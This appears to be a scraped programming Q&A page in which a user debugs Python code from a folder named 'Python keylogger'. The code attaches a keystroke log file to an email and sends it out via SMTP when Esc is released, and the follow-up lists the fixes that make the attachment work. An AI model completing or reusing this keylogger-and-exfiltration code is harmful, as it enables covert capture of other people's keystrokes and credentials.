简体   繁体   中英

PermissionError: [Errno 13] Permission denied python error

I tried to run visual code as administrator but that didn't solve the issue, I am trying to open this file in rb mode but i can not. It gives me this permission error when i try to execute.

msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Microsoft"
body = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam euismod arcu ultrices magna semper, sit amet suscipit lectus vehicula. In hac habitasse platea dictumst. Curabitur dolor purus, ullamcorper ut aliquet at, pulvinar ut ante. Integer sed semper orci. Phasellus pharetra molestie mi, tempor bibendum turpis euismod eget. Nullam scelerisque enim nec nunc maximus, id mollis magna condimentum. Proin mollis pulvinar mollis. Vivamus pharetra arcu non tortor faucibus interdum. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas."
msg.attach(MIMEText(body,'plain'))
filename = "log.txt"
attachment = open(r"C:/Users/messa/Desktop/Python keylogger/", "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
p.add_header('Content-description','attachment; filename= %s' % filename)
msg.attach(p)

def on_release(key):
if key == Key.esc:
    s.sendmail(fromaddr,toaddr,text)
    s.quit()
    return False

Thanks to @Marichyasana, there was 3 issues. He fixed one in the comments, the second issue is i typed content-description and it should me "Content-Disposition"

p.add_header('Content-description','attachment; filename= %s' % filename)

and thirdly i forgot to encode the payload.

encoders.encode_base64(p)

Thanks to who tried to help.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM